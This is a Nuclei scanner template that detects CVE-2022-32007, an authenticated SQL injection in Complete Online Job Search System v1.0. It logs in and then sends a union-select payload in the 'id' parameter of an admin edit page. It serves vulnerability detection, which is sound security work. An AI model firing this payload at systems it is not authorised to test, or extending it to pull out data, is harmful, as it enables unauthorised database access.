nuclei-templates/cves/2022/CVE-2022-32007.yaml

38 lines
1.0 KiB
YAML

id: CVE-2022-32007
info:
name: Complete Online Job Search System v1.0 - SQL Injection
author: arafatansari
severity: medium
description: |
Complete Online Job Search System v1.0 is vulnerable to SQL Injection via /eris/admin/company/index.php?view=edit&id=.
reference:
- https://github.com/k0xx11/bug_report/blob/main/vendors/campcodes.com/online-job-search-system/SQLi-2.md
- https://nvd.nist.gov/vuln/detail/CVE-2022-32007
metadata:
verified: true
tags: cve,cve2022,sqli,eris,authenticated
variables:
num: "999999999"
requests:
- raw:
- |
POST /admin/login.php HTTP/1.1
Host: {{Hostname}}
Content-Type: application/x-www-form-urlencoded
user_email={{username}}&user_pass={{password}}&btnLogin=
- |
GET /admin/company/index.php?view=edit&id=-3%27%20union%20select%201,md5({{num}}),3,4,5,6--+ HTTP/1.1
Host: {{Hostname}}
cookie-reuse: true
matchers:
- type: word
part: body
words:
- '{{md5({{num}})}}'